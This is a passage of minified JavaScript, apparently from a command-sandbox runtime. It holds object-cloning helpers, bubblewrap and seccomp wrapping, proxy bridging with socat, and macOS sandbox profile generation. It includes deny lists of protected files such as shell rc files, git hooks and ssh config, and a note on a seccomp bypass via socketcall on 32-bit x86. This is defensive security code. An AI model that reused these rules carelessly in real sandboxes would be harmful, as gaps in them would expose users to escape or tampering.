ArrayBuffer(1)))!=_h8||Bi&&h6A(new Bi)!=Jh8||T11&&h6A(T11.resolve())!=Oh8||v11&&h6A(new v11)!=Xh8||oA1&&h6A(new oA1)!=$h8)h6A=function(A){var K=yF(A),q=K==s25?A.constructor:void 0,Y=q?IF(q):"";if(Y)switch(Y){case t25:return _h8;case e25:return Jh8;case Az5:return Oh8;case Kz5:return Xh8;case qz5:return $h8}return K};VJA=h6A});function wz5(A){var K=A.length,q=new A.constructor(K);if(K&&typeof A[0]=="string"&&zz5.call(A,"index"))q.index=A.index,q.input=A.input;return q}var Yz5,zz5,Gh8;var Zh8=k(()=>{Yz5=Object.prototype,zz5=Yz5.hasOwnProperty;Gh8=wz5});var Hz5,ld1;var Wh8=k(()=>{dR();Hz5=pX.Uint8Array,ld1=Hz5});function Jz5(A){var K=new A.constructor(A.byteLength);return new ld1(K).set(new ld1(A)),K}var fJA;var k11=k(()=>{Wh8();fJA=Jz5});function Oz5(A,K){var q=K?fJA(A.buffer):A.buffer;return new A.constructor(q,A.byteOffset,A.byteLength)}var Dh8;var jh8=k(()=>{k11();Dh8=Oz5});function $z5(A){var K=new A.constructor(A.source,Xz5.exec(A));return K.lastIndex=A.lastIndex,K}var Xz5,Mh8;var Ph8=k(()=>{Xz5=/\w*$/;Mh8=$z5});function _z5(A){return fh8?Object(fh8.call(A)):{}}var Vh8,fh8,Nh8;var Th8=k(()=>{lA1();Vh8=RF?RF.prototype:void 0,fh8=Vh8?Vh8.valueOf:void 0;Nh8=_z5});function Gz5(A,K){var q=K?fJA(A.buffer):A.buffer;return new A.constructor(q,A.byteOffset,A.length)}var vh8;var Eh8=k(()=>{k11();vh8=Gz5});function hz5(A,K,q){var Y=A.constructor;switch(K){case Nz5:return fJA(A);case Zz5:case Wz5:return new Y(+A);case Tz5:return Dh8(A,q);case vz5:case Ez5:case kz5:case Cz5:case Lz5:case Rz5:case yz5:case Iz5:case Sz5:return vh8(A,q);case Dz5:return new Y;case jz5:case Vz5:return new Y(A);case Mz5:return Mh8(A);case Pz5:return new Y;case fz5:return Nh8(A)}}var Zz5="[object Boolean]",Wz5="[object Date]",Dz5="[object Map]",jz5="[object Number]",Mz5="[object RegExp]",Pz5="[object Set]",Vz5="[object String]",fz5="[object Symbol]",Nz5="[object ArrayBuffer]",Tz5="[object DataView]",vz5="[object Float32Array]",Ez5="[object Float64Array]",kz5="[object Int8Array]",Cz5="[object Int16Array]",Lz5="[object Int32Array]",Rz5="[object Uint8Array]",yz5="[object Uint8ClampedArray]",Iz5="[object Uint16Array]",Sz5="[object Uint32Array]",kh8;var Ch8=k(()=>{k11();jh8();Ph8();Th8();Eh8();kh8=hz5});function bz5(A){return typeof A.constructor=="function"&&!$JA(A)?_I8(W11(A)):{}}var Lh8;var Rh8=k(()=>{GI8();Qd1();K11();Lh8=bz5});function uz5(A){return Ib(A)&&VJA(A)==xz5}var xz5="[object Map]",yh8;var Ih8=k(()=>{E11();JJA();yh8=uz5});var Sh8,Bz5,hh8;var bh8=k(()=>{Ih8();z11();J11();Sh8=hb&&hb.isMap,Bz5=Sh8?_JA(Sh8):yh8,hh8=Bz5});function gz5(A){return Ib(A)&&VJA(A)==mz5}var mz5="[object Set]",xh8;var uh8=k(()=>{E11();JJA();xh8=gz5});var Bh8,Fz5,mh8;var gh8=k(()=>{uh8();z11();J11();Bh8=hb&&hb.isSet,Fz5=Bh8?_JA(Bh8):xh8,mh8=Fz5});function C11(A,K,q,Y,z,w){var H,J=K&Qz5,O=K&Uz5,X=K&pz5;if(q)H=z?q(A,Y,z,w):q(A);if(H!==void 0)return H;if(!Sb(A))return A;var $=OJA(A);if($){if(H=Gh8(A),!J)return ZI8(A,H)}else{var _=VJA(A),G=_==Qh8||_==nz5;if(SkA(A))return Ud1(A,J);if(_==Uh8||_==Fh8||G&&!z){if(H=O||G?{}:Lh8(A),!J)return O?tS8(A,QS8(H,A)):aS8(A,gS8(H,A))}else{if(!ow[_])return z?A:{};H=kh8(A,_,J)}}w||(w=new BS8);var Z=w.get(A);if(Z)return Z;if(w.set(A,H),mh8(A))A.forEach(function(j){H.add(C11(j,K,q,j,A,w))});else if(hh8(A))A.forEach(function(j,M){H.set(M,C11(j,K,q,M,A,w))});var W=X?O?qh8:Ah8:O?ZJA:GJA,D=$?void 0:W(A);return jI8(D||A,function(j,M){if(D)M=j,j=A[M];tA1(H,M,C11(j,K,q,M,A,w))}),H}var Qz5=1,Uz5=2,pz5=4,Fh8="[object Arguments]",dz5="[object Array]",cz5="[object Boolean]",lz5="[object Date]",iz5="[object Error]",Qh8="[object Function]",nz5="[object GeneratorFunction]",rz5="[object Map]",oz5="[object Number]",Uh8="[object Object]",az5="[object RegExp]",sz5="[object Set]",tz5="[object String]",ez5="[object Symbol]",Aw5="[object WeakMap]",Kw5="[object ArrayBuffer]",qw5="[object DataView]",Yw5="[object Float32Array]",zw5="[object Float64Array]",ww5="[object Int8Array]",Hw5="[object Int16Array]",Jw5="[object Int32Array]",Ow5="[object Uint8Array]",Xw5="[object Uint8ClampedArray]",$w5="[object Uint16Array]",_w5="[object Uint32Array]",ow,ph8;var dh8=k(()=>{mS8();MI8();Id1();FS8();US8();iS8();WI8();sS8();eS8();Kh8();Yh8();E11();Zh8();Ch8();Rh8();iA1();xd1();bh8();XJA();gh8();$11();_11();ow={};ow[Fh8]=ow[dz5]=ow[Kw5]=ow[qw5]=ow[cz5]=ow[lz5]=ow[Yw5]=ow[zw5]=ow[ww5]=ow[Hw5]=ow[Jw5]=ow[rz5]=ow[oz5]=ow[Uh8]=ow[az5]=ow[sz5]=ow[tz5]=ow[ez5]=ow[Ow5]=ow[Xw5]=ow[$w5]=ow[_w5]=!0;ow[iz5]=ow[Qh8]=ow[Aw5]=!1;ph8=C11});function Ww5(A){return ph8(A,Gw5|Zw5)}var Gw5=1,Zw5=4,id1;var ch8=k(()=>{dh8();id1=Ww5});var lh8=k(()=>{ch8()});import*as ih8 from"fs";function nd1(){if(process.platform!=="linux")return;try{let A=ih8.readFileSync("/proc/version",{encoding:"utf8"}),K=A.match(/WSL(\d+)/i);if(K&&K[1])return K[1];if(A.toLowerCase().includes("microsoft"))return"1";return}catch{return}}function cE(){switch(process.platform){case"darwin":return"macos";case"linux":return"linux";case"win32":return"windows";default:return"unknown"}}var L11=()=>{};import{execFile as Dw5}from"child_process";async function nh8(A,K,q,Y={command:"rg"}){let{command:z,args:w=[]}=Y;return new Promise((H,J)=>{Dw5(z,[...w,...A,K],{maxBuffer:20000000,signal:q,timeout:1e4},(O,X,$)=>{if(!O){H(X.trim().split(` `).filter(Boolean));return}if(O.code===1){H([]);return}J(Error(`ripgrep failed with exit code ${O.code}: ${$||O.message}`))})})}var rh8=()=>{};import{homedir as rd1}from"os";import*as eN from"path";import*as od1 from"fs";function R11(){return[...jw5.filter((A)=>A!==".git"),".claude/commands",".claude/agents"]}function ad1(A){return A.toLowerCase()}function cR(A){return A.includes("*")||A.includes("?")||A.includes("[")||A.includes("]")}function gkA(A){return A.replace(/\/\*\*$/,"")}function oh8(A,K){let q=eN.normalize(A),Y=eN.normalize(K);if(Y===q)return!1;if(q.startsWith("/tmp/")&&Y==="/private"+q)return!1;if(q.startsWith("/var/")&&Y==="/private"+q)return!1;if(q.startsWith("/private/tmp/")&&Y===q)return!1;if(q.startsWith("/private/var/")&&Y===q)return!1;if(Y==="/")return!0;if(Y.split("/").filter(Boolean).length<=1)return!0;if(q.startsWith(Y+"/"))return!0;let w=q;if(q.startsWith("/tmp/"))w="/private"+q;else if(q.startsWith("/var/"))w="/private"+q;if(w!==q&&w.startsWith(Y+"/"))return!0;let H=Y.startsWith(q+"/"),J=w!==q&&Y.startsWith(w+"/");if(Y!==q&&!(w!==q&&Y===w)&&!H&&!J)return!0;return!1}function lR(A){let K=process.cwd(),q=A;if(A==="~")q=rd1();else if(A.startsWith("~/"))q=rd1()+A.slice(1);else if(A.startsWith("./")||A.startsWith("../"))q=eN.resolve(K,A);else if(!eN.isAbsolute(A))q=eN.resolve(K,A);if(cR(q)){let Y=q.split(/[*?[\]]/)[0];if(Y&&Y!=="/"){let z=Y.endsWith("/")?Y.slice(0,-1):eN.dirname(Y);try{let w=od1.realpathSync(z);if(!oh8(z,w)){let H=q.slice(z.length);return w+H}}catch{}}return q}try{let Y=od1.realpathSync(q);if(oh8(q,Y));else q=Y}catch{}return q}function FkA(){let A=rd1();return["/dev/stdout","/dev/stderr","/dev/null","/dev/tty","/dev/dtracehelper","/dev/autofs_nowait","/tmp/claude","/private/tmp/claude",eN.join(A,".npm/_logs"),eN.join(A,".claude/debug")]}function y11(A,K){let Y=["SANDBOX_RUNTIME=1",`TMPDIR=${process.env.CLAUDE_TMPDIR||"/tmp/claude"}`];if(!A&&!K)return Y;let z=["localhost","127.0.0.1","::1","*.local",".local","169.254.0.0/16","10.0.0.0/8","172.16.0.0/12","192.168.0.0/16"].join(",");if(Y.push(`NO_PROXY=${z}`),Y.push(`no_proxy=${z}`),A)Y.push(`HTTP_PROXY=http://localhost:${A}`),Y.push(`HTTPS_PROXY=http://localhost:${A}`),Y.push(`http_proxy=http://localhost:${A}`),Y.push(`https_proxy=http://localhost:${A}`);if(K){if(Y.push(`ALL_PROXY=socks5h://localhost:${K}`),Y.push(`all_proxy=socks5h://localhost:${K}`),cE()==="macos")Y.push(`GIT_SSH_COMMAND=ssh -o ProxyCommand='nc -X 5 -x localhost:${K} %h %p'`);if(Y.push(`FTP_PROXY=socks5h://localhost:${K}`),Y.push(`ftp_proxy=socks5h://localhost:${K}`),Y.push(`RSYNC_PROXY=localhost:${K}`),Y.push(`DOCKER_HTTP_PROXY=http://localhost:${A||K}`),Y.push(`DOCKER_HTTPS_PROXY=http://localhost:${A||K}`),A)Y.push("CLOUDSDK_PROXY_TYPE=https"),Y.push("CLOUDSDK_PROXY_ADDRESS=localhost"),Y.push(`CLOUDSDK_PROXY_PORT=${A}`);Y.push(`GRPC_PROXY=socks5h://localhost:${K}`),Y.push(`grpc_proxy=socks5h://localhost:${K}`)}return Y}function I11(A){let K=A.slice(0,100);return Buffer.from(K).toString("base64")}function ah8(A){return Buffer.from(A,"base64").toString("utf8")}var mkA,jw5;var NJA=k(()=>{L11();mkA=[".gitconfig",".gitmodules",".bashrc",".bash_profile",".zshrc",".zprofile",".profile",".ripgreprc",".mcp.json"],jw5=[".git",".vscode",".idea"]});import{join as lE,dirname as Mw5}from"node:path";import{fileURLToPath as Pw5}from"node:url";import*as b6A from"node:fs";import{execSync as Vw5}from"node:child_process";import{homedir as fw5}from"node:os";function sh8(){let A=[];try{let q=Vw5("npm root -g",{encoding:"utf8",timeout:5000,stdio:["pipe","pipe","ignore"]}).trim();if(q)A.push(lE(q,"@anthropic-ai","sandbox-runtime"))}catch{}let K=fw5();return A.push(lE("/usr","lib","node_modules","@anthropic-ai","sandbox-runtime"),lE("/usr","local","lib","node_modules","@anthropic-ai","sandbox-runtime"),lE("/opt","homebrew","lib","node_modules","@anthropic-ai","sandbox-runtime"),lE(K,".npm","lib","node_modules","@anthropic-ai","sandbox-runtime"),lE(K,".npm-global","lib","node_modules","@anthropic-ai","sandbox-runtime")),A}function ed1(){let A=process.arch;switch(A){case"x64":case"x86_64":return"x64";case"arm64":case"aarch64":return"arm64";case"ia32":case"x86":return T8("[SeccompFilter] 32-bit x86 (ia32) is not currently supported due to missing socketcall() syscall blocking. The current seccomp filter only blocks socket(AF_UNIX, ...), but on 32-bit x86, socketcall() can be used to bypass this.",{level:"error"}),null;default:return T8(`[SeccompFilter] Unsupported architecture: ${A}. Only x64 and arm64 are supported.`),null}}function th8(A){let K=ed1();if(!K)return[];let q=Mw5(Pw5(import.meta.url)),Y=lE("vendor","seccomp",K,A);return[lE(q,Y),lE(q,"..","..",Y),lE(q,"..",Y)]}function Ac1(A){let K=A??"";if(sd1.has(K))return sd1.get(K);let q=Nw5(A);return sd1.set(K,q),q}function Nw5(A){if(A){if(b6A.existsSync(A))return T8(`[SeccompFilter] Using BPF filter from explicit path: ${A}`),A;T8(`[SeccompFilter] Explicit path provided but file not found: ${A}`)}let K=ed1();if(!K)return T8(`[SeccompFilter] Cannot find pre-generated BPF filter: unsupported architecture ${process.arch}`),null;T8(`[SeccompFilter] Detected architecture: ${K}`);for(let q of th8("unix-block.bpf"))if(b6A.existsSync(q))return T8(`[SeccompFilter] Found pre-generated BPF filter: ${q} (${K})`),q;for(let q of sh8()){let Y=lE(q,"vendor","seccomp",K,"unix-block.bpf");if(b6A.existsSync(Y))return T8(`[SeccompFilter] Found pre-generated BPF filter in global install: ${Y} (${K})`),Y}return T8(`[SeccompFilter] Pre-generated BPF filter not found in any expected location (${K})`),null}function QkA(A){let K=A??"";if(td1.has(K))return td1.get(K);let q=Tw5(A);return td1.set(K,q),q}function Tw5(A){if(A){if(b6A.existsSync(A))return T8(`[SeccompFilter] Using apply-seccomp binary from explicit path: ${A}`),A;T8(`[SeccompFilter] Explicit path provided but file not found: ${A}`)}let K=ed1();if(!K)return T8(`[SeccompFilter] Cannot find apply-seccomp binary: unsupported architecture ${process.arch}`),null;T8(`[SeccompFilter] Looking for apply-seccomp binary for architecture: ${K}`);for(let q of th8("apply-seccomp"))if(b6A.existsSync(q))return T8(`[SeccompFilter] Found apply-seccomp binary: ${q} (${K})`),q;for(let q of sh8()){let Y=lE(q,"vendor","seccomp",K,"apply-seccomp");if(b6A.existsSync(Y))return T8(`[SeccompFilter] Found apply-seccomp binary in global install: ${Y} (${K})`),Y}return T8(`[SeccompFilter] apply-seccomp binary not found in any expected location (${K})`),null}function eh8(A){let K=Ac1(A);if(K)return T8("[SeccompFilter] Using pre-generated BPF filter"),K;return T8("[SeccompFilter] Pre-generated BPF filter not available for this architecture. Only x64 and arm64 are supported.",{level:"error"}),null}function Kc1(A){}var sd1,td1;var Ab8=k(()=>{sd1=new Map,td1=new Map});import{randomBytes as vw5}from"node:crypto";import*as aj from"fs";import{spawn as Kb8,spawnSync as qc1}from"node:child_process";import{tmpdir as qb8}from"node:os";import _D,{join as Yb8}from"node:path";function Ew5(A,K){let q=A.split(_D.sep),Y="";for(let z of q){if(!z)continue;let w=Y+_D.sep+z;try{if(aj.lstatSync(w).isSymbolicLink()){if(K.some((O)=>w.startsWith(O+"/")||w===O))return w}}catch{break}Y=w}return null}function kw5(A){let K=A.split(_D.sep),q="";for(let Y of K){if(!Y)continue;let z=q+_D.sep+Y;if(!aj.existsSync(z))return z;q=z}return A}async function Cw5(A={command:"rg"},K=zc1,q=!1,Y){let z=process.cwd(),w=new AbortController,H=Y??w.signal,J=R11(),O=[...mkA.map((_)=>_D.resolve(z,_)),...J.map((_)=>_D.resolve(z,_)),_D.resolve(z,".git/hooks")];if(!q)O.push(_D.resolve(z,".git/config"));let X=[];for(let _ of mkA)X.push("--iglob",_);for(let _ of J)X.push("--iglob",`**/${_}/**`);if(X.push("--iglob","**/.git/hooks/**"),!q)X.push("--iglob","**/.git/config");let $=[];try{$=await nh8(["--files","--hidden","--max-depth",String(K),...X,"-g","!**/node_modules/**"],z,H,A)}catch(_){T8(`[Sandbox] ripgrep scan failed: ${_}`)}for(let _ of $){let G=_D.resolve(z,_),Z=!1;for(let W of[...J,".git"]){let D=ad1(W),j=G.split(_D.sep),M=j.findIndex((P)=>ad1(P)===D);if(M!==-1){if(W===".git"){let P=j.slice(0,M+1).join(_D.sep);if(_.includes(".git/hooks"))O.push(_D.join(P,"hooks"));else if(_.includes(".git/config"))O.push(_D.join(P,"config"))}else O.push(j.slice(0,M+1).join(_D.sep));Z=!0;break}}if(!Z)O.push(G)}return[...new Set(O)]}function Lw5(){if(zb8)return;process.on("exit",()=>{for(let A of Yc1)try{Kc1(A)}catch{}}),zb8=!0}function wb8(A){let K=[],q=[],Y=qc1("which",["bwrap"],{stdio:"ignore",timeout:1000}),z=qc1("which",["socat"],{stdio:"ignore",timeout:1000});if(Y.status!==0)K.push("bubblewrap (bwrap) not installed");if(z.status!==0)K.push("socat not installed");let w=Ac1(A?.bpfPath)!==null,H=QkA(A?.applyPath)!==null;if(!w||!H)q.push("seccomp not available - unix socket access not restricted");return{warnings:q,errors:K}}async function Hb8(A,K){let q=vw5(8).toString("hex"),Y=Yb8(qb8(),`claude-http-${q}.sock`),z=Yb8(qb8(),`claude-socks-${q}.sock`),w=[`UNIX-LISTEN:${Y},fork,reuseaddr`,`TCP:localhost:${A},keepalive,keepidle=10,keepintvl=5,keepcnt=3`];T8(`Starting HTTP bridge: socat ${w.join(" ")}`);let H=Kb8("socat",w,{stdio:"ignore"});if(!H.pid)throw Error("Failed to start HTTP bridge process");H.on("error",($)=>{T8(`HTTP bridge process error: ${$}`,{level:"error"})}),H.on("exit",($,_)=>{T8(`HTTP bridge process exited with code ${$}, signal ${_}`,{level:$===0?"info":"error"})});let J=[`UNIX-LISTEN:${z},fork,reuseaddr`,`TCP:localhost:${K},keepalive,keepidle=10,keepintvl=5,keepcnt=3`];T8(`Starting SOCKS bridge: socat ${J.join(" ")}`);let O=Kb8("socat",J,{stdio:"ignore"});if(!O.pid){if(H.pid)try{process.kill(H.pid,"SIGTERM")}catch{}throw Error("Failed to start SOCKS bridge process")}O.on("error",($)=>{T8(`SOCKS bridge process error: ${$}`,{level:"error"})}),O.on("exit",($,_)=>{T8(`SOCKS bridge process exited with code ${$}, signal ${_}`,{level:$===0?"info":"error"})});let X=5;for(let $=0;$<X;$++){if(!H.pid||H.killed||!O.pid||O.killed)throw Error("Linux bridge process died unexpectedly");try{if(aj.existsSync(Y)&&aj.existsSync(z)){T8(`Linux bridges ready after ${$+1} attempts`);break}}catch(_){T8(`Error checking sockets (attempt ${$+1}): ${_}`,{level:"error"})}if($===X-1){if(H.pid)try{process.kill(H.pid,"SIGTERM")}catch{}if(O.pid)try{process.kill(O.pid,"SIGTERM")}catch{}throw Error(`Failed to create bridge sockets after ${X} attempts`)}await new Promise((_)=>setTimeout(_,$*100))}return{httpSocketPath:Y,socksSocketPath:z,httpBridgeProcess:H,socksBridgeProcess:O,httpProxyPort:A,socksProxyPort:K}}function Rw5(A,K,q,Y,z,w){let H=z||"bash",J=[`socat TCP-LISTEN:3128,fork,reuseaddr UNIX-CONNECT:${A} >/dev/null 2>&1 &`,`socat TCP-LISTEN:1080,fork,reuseaddr UNIX-CONNECT:${K} >/dev/null 2>&1 &`,'trap "kill %1 %2 2>/dev/null; exit" EXIT'];if(Y){let O=QkA(w);if(!O)throw Error("apply-seccomp binary not found. This should have been caught earlier. Ensure vendor/seccomp/{x64,arm64}/apply-seccomp binaries are included in the package.");let X=x6A.default.quote([O,Y,H,"-c",q]),$=[...J,X].join(` `);return`${H} -c ${x6A.default.quote([$])}`}else{let O=[...J,`eval ${x6A.default.quote([q])}`].join(` `);return`${H} -c ${x6A.default.quote([O])}`}}async function yw5(A,K,q={command:"rg"},Y=zc1,z=!1,w){let H=[];if(K){H.push("--ro-bind","/","/");let O=[];for(let $ of K.allowOnly||[]){let _=lR($);if(T8(`[Sandbox Linux] Processing write path: ${$} -> ${_}`),_.startsWith("/dev/")){T8(`[Sandbox Linux] Skipping /dev path: ${_}`);continue}if(!aj.existsSync(_)){T8(`[Sandbox Linux] Skipping non-existent write path: ${_}`);continue}H.push("--bind",_,_),O.push(_)}let X=[...K.denyWithinAllow||[],...await Cw5(q,Y,z,w)];for(let $ of X){let _=lR($);if(_.startsWith("/dev/"))continue;let G=Ew5(_,O);if(G){H.push("--ro-bind","/dev/null",G),T8(`[Sandbox Linux] Mounted /dev/null at symlink ${G} to prevent symlink replacement attack`);continue}if(!aj.existsSync(_)){let W=_D.dirname(_);while(W!=="/"&&!aj.existsSync(W))W=_D.dirname(W);if(O.some((j)=>W.startsWith(j+"/")||W===j||_.startsWith(j+"/"))){let j=kw5(_);H.push("--ro-bind","/dev/null",j),T8(`[Sandbox Linux] Mounted /dev/null at ${j} to block creation of ${_}`)}else T8(`[Sandbox Linux] Skipping non-existent deny path not within allowed paths: ${_}`);continue}if(O.some((W)=>_.startsWith(W+"/")||_===W))H.push("--ro-bind",_,_);else T8(`[Sandbox Linux] Skipping deny path not within allowed paths: ${_}`)}}else H.push("--bind","/","/");let J=[...A?.denyOnly||[]];if(aj.existsSync("/etc/ssh/ssh_config.d"))J.push("/etc/ssh/ssh_config.d");for(let O of J){let X=lR(O);if(!aj.existsSync(X)){T8(`[Sandbox Linux] Skipping non-existent read deny path: ${X}`);continue}if(aj.statSync(X).isDirectory())H.push("--tmpfs",X);else H.push("--ro-bind","/dev/null",X)}return H}async function Jb8(A){let{command:K,needsNetworkRestriction:q,httpSocketPath:Y,socksSocketPath:z,httpProxyPort:w,socksProxyPort:H,readConfig:J,writeConfig:O,enableWeakerNestedSandbox:X,allowAllUnixSockets:$,binShell:_,ripgrepConfig:G={command:"rg"},mandatoryDenySearchDepth:Z=zc1,allowGitConfig:W=!1,seccompConfig:D,abortSignal:j}=A,M=J&&J.denyOnly.length>0,P=O!==void 0;if(!q&&!M&&!P)return K;let f=["--new-session","--die-with-parent"],N=void 0;try{if(!$){N=eh8(D?.bpfPath)??void 0;let b=QkA(D?.applyPath);if(!N||!b)T8("[Sandbox Linux] Seccomp binaries not available - unix socket blocking disabled. Install @anthropic-ai/sandbox-runtime globally for full protection.",{level:"warn"}),N=void 0;else{if(!N.includes("/vendor/seccomp/"))Yc1.add(N),Lw5();T8("[Sandbox Linux] Generated seccomp BPF filter for Unix socket blocking")}}else T8("[Sandbox Linux] Skipping seccomp filter - allowAllUnixSockets is enabled");if(q){if(f.push("--unshare-net"),Y&&z){if(!aj.existsSync(Y))throw Error(`Linux HTTP bridge socket does not exist: ${Y}. The bridge process may have died. Try reinitializing the sandbox.`);if(!aj.existsSync(z))throw Error(`Linux SOCKS bridge socket does not exist: ${z}. The bridge process may have died. Try reinitializing the sandbox.`);f.push("--bind",Y,Y),f.push("--bind",z,z);let b=y11(3128,1080);if(f.push(...b.flatMap((F)=>{let Q=F.indexOf("="),u=F.slice(0,Q),d=F.slice(Q+1);return["--setenv",u,d]})),w!==void 0)f.push("--setenv","CLAUDE_CODE_HOST_HTTP_PROXY_PORT",String(w));if(H!==void 0)f.push("--setenv","CLAUDE_CODE_HOST_SOCKS_PROXY_PORT",String(H))}}let T=await yw5(J,O,G,Z,W,j);if(f.push(...T),f.push("--dev","/dev"),f.push("--unshare-pid"),!X)f.push("--proc","/proc");let C=_||"bash",R=qc1("which",[C],{encoding:"utf8"});if(R.status!==0)throw Error(`Shell '${C}' not found in PATH`);let x=R.stdout.trim();if(f.push("--",x,"-c"),q&&Y&&z){let b=Rw5(Y,z,K,N,x,D?.applyPath);f.push(b)}else if(N){let b=QkA(D?.applyPath);if(!b)throw Error("apply-seccomp binary not found. This should have been caught earlier. Ensure vendor/seccomp/{x64,arm64}/apply-seccomp binaries are included in the package.");let F=x6A.default.quote([b,N,x,"-c",K]);f.push(F)}else f.push(K);let y=x6A.default.quote(["bwrap",...f]),B=[];if(q)B.push("network");if(M||P)B.push("filesystem");if(N)B.push("seccomp(unix-block)");return T8(`[Sandbox Linux] Wrapped command with bwrap (${B.join(", ")} restrictions)`),y}catch(T){if(N&&!N.includes("/vendor/seccomp/")){Yc1.delete(N);try{Kc1(N)}catch(C){T8(`[Sandbox Linux] Failed to clean up seccomp filter on error: ${C}`,{level:"error"})}}throw T}}var x6A,zc1=3,Yc1,zb8=!1;var Ob8=k(()=>{rh8();NJA();Ab8();x6A=o(soA(),1);Yc1=new Set});import{spawn as Iw5,spawnSync as Sw5}from"child_process";import*as hF from"path";function hw5(A=!1){let K=process.cwd(),q=[];for(let Y of mkA)q.push(hF.resolve(K,Y)),q.push(`**/${Y}`);for(let Y of R11())q.push(hF.resolve(K,Y)),q.push(`**/${Y}/**`);if(q.push(hF.resolve(K,".git/hooks")),q.push("**/.git/hooks/**"),!A)q.push(hF.resolve(K,".git/config")),q.push("**/.git/config");return[...new Set(q)]}function S11(A){return"^"+A.replace(/[.^$+{}()|\\]/g,"\\$&").replace(/\[([^\]]*?)$/g,"\\[$1").replace(/\*\*\//g,"__GLOBSTAR_SLASH__").replace(/\*\*/g,"__GLOBSTAR__").replace(/\*/g,"[^/]*").replace(/\?/g,"[^/]").replace(/__GLOBSTAR_SLASH__/g,"(.*/)?").replace(/__GLOBSTAR__/g,".*")+"$"}function bw5(A){return`CMD64_${I11(A)}_END_${_b8}`}function Xb8(A){let K=[],q=hF.dirname(A);while(q!=="/"&&q!=="."){K.push(q);let Y=hF.dirname(q);if(Y===q)break;q=Y}return K}function Gb8(A,K){let q=[];for(let Y of A){let z=lR(Y);if(cR(z)){let w=S11(z);q.push("(deny file-write-unlink",` (regex ${AT(w)})`,` (with message "${K}"))`);let H=z.split(/[*?[\]]/)[0];if(H&&H!=="/"){let J=H.endsWith("/")?H.slice(0,-1):hF.dirname(H);q.push("(deny file-write-unlink",` (literal ${AT(J)})`,` (with message "${K}"))`);for(let O of Xb8(J))q.push("(deny file-write-unlink",` (literal ${AT(O)})`,` (with message "${K}"))`)}}else{q.push("(deny file-write-unlink",` (subpath ${AT(z)})`,` (with message "${K}"))`);for(let w of Xb8(z))q.push("(deny file-write-unlink",` (literal ${AT(w)})`,` (with message "${K}"))`)}}return q}function xw5(A,K){if(!A)return["(allow file-read*)"];let q=[];q.push("(allow file-read*)");for(let Y of A.denyOnly||[]){let z=lR(Y);if(cR(z)){let w=S11(z);q.push("(deny file-read*",` (regex ${AT(w)})`,` (with message "${K}"))`)}else q.push("(deny file-read*",` (subpath ${AT(z)})`,` (with message "${K}"))`)}return q.push(...Gb8(A.denyOnly||[],K)),q}function uw5(A,K,q=!1){if(!A)return["(allow file-write*)"];let Y=[],z=mw5();for(let H of z){let J=lR(H);Y.push("(allow file-write*",` (subpath ${AT(J)})`,` (with message "${K}"))`)}for(let H of A.allowOnly||[]){let J=lR(H);if(cR(J)){let O=S11(J);Y.push("(allow file-write*",` (regex ${AT(O)})`,` (with message "${K}"))`)}else Y.push("(allow file-write*",` (subpath ${AT(J)})`,` (with message "${K}"))`)}let w=[...A.denyWithinAllow||[],...hw5(q)];for(let H of w){let J=lR(H);if(cR(J)){let O=S11(J);Y.push("(deny file-write*",` (regex ${AT(O)})`,` (with message "${K}"))`)}else Y.push("(deny file-write*",` (subpath ${AT(J)})`,` (with message "${K}"))`)}return Y.push(...Gb8(w,K)),Y}function Bw5({readConfig:A,writeConfig:K,httpProxyPort:q,socksProxyPort:Y,needsNetworkRestriction:z,allowUnixSockets:w,allowAllUnixSockets:H,allowLocalBinding:J,allowPty:O,allowGitConfig:X=!1,logTag:$}){let _=["(version 1)",`(deny default (with message "${$}"))`,"",`; LogTag: ${$}`,"","; Essential permissions - based on Chrome sandbox policy","; Process permissions","(allow process-exec)","(allow process-fork)","(allow process-info* (target same-sandbox))","(allow signal (target same-sandbox))","(allow mach-priv-task-port (target same-sandbox))","","; User preferences","(allow user-preference-read)","","; Mach IPC - specific services only (no wildcard)","(allow mach-lookup",' (global-name "com.apple.audio.systemsoundserver")',' (global-name "com.apple.distributed_notifications@Uv3")',' (global-name "com.apple.FontObjectsServer")',' (global-name "com.apple.fonts")',' (global-name "com.apple.logd")',' (global-name "com.apple.lsd.mapdb")',' (global-name "com.apple.PowerManagement.control")',' (global-name "com.apple.system.logger")',' (global-name "com.apple.system.notification_center")',' (global-name "com.apple.trustd.agent")',' (global-name "com.apple.system.opendirectoryd.libinfo")',' (global-name "com.apple.system.opendirectoryd.membership")',' (global-name "com.apple.bsd.dirhelper")',' (global-name "com.apple.securityd.xpc")',' (global-name "com.apple.coreservices.launchservicesd")',")","","; POSIX IPC - shared memory","(allow ipc-posix-shm)","","; POSIX IPC - semaphores for Python multiprocessing","(allow ipc-posix-sem)","","; IOKit - specific operations only","(allow iokit-open",' (iokit-registry-entry-class "IOSurfaceRootUserClient")',' (iokit-registry-entry-class "RootDomainUserClient")',' (iokit-user-client-class "IOSurfaceSendRight")',")","","; IOKit properties","(allow iokit-get-properties)","","; Specific safe system-sockets, doesn't allow network access","(allow system-socket (require-all (socket-domain AF_SYSTEM) (socket-protocol 2)))","","; sysctl - specific sysctls only","(allow sysctl-read",' (sysctl-name "hw.activecpu")',' (sysctl-name "hw.busfrequency_compat")',' (sysctl-name "hw.byteorder")',' (sysctl-name "hw.cacheconfig")',' (sysctl-name "hw.cachelinesize_compat")',' (sysctl-name "hw.cpufamily")',' (sysctl-name "hw.cpufrequency")',' (sysctl-name "hw.cpufrequency_compat")',' (sysctl-name "hw.cputype")',' (sysctl-name "hw.l1dcachesize_compat")',' (sysctl-name "hw.l1icachesize_compat")',' (sysctl-name "hw.l2cachesize_compat")',' (sysctl-name "hw.l3cachesize_compat")',' (sysctl-name "hw.logicalcpu")',' (sysctl-name "hw.logicalcpu_max")',' (sysctl-name "hw.machine")',' (sysctl-name "hw.memsize")',' (sysctl-name "hw.ncpu")',' (sysctl-name "hw.nperflevels")',' (sysctl-name "hw.packages")',' (sysctl-name "hw.pagesize_compat")',' (sysctl-name "hw.pagesize")',' (sysctl-name "hw.physicalcpu")',' (sysctl-name "hw.physicalcpu_max")',' (sysctl-name "hw.tbfrequency_compat")',' (sysctl-name "hw.vectorunit")',' (sysctl-name "kern.argmax")',' (sysctl-name "kern.bootargs")',' (sysctl-name "kern.hostname")',' (sysctl-name "kern.maxfiles")',' (sysctl-name "kern.maxfilesperproc")',' (sysctl-name "kern.maxproc")',' (sysctl-name "kern.ngroups")',' (sysctl-name "kern.osproductversion")',' (sysctl-name "kern.osrelease")',' (sysctl-name "kern.ostype")',' (sysctl-name "kern.osvariant_status")',' (sysctl-name "kern.osversion")',' (sysctl-name "kern.secure_kernel")',' (sysctl-name "kern.tcsm_available")',' (sysctl-name 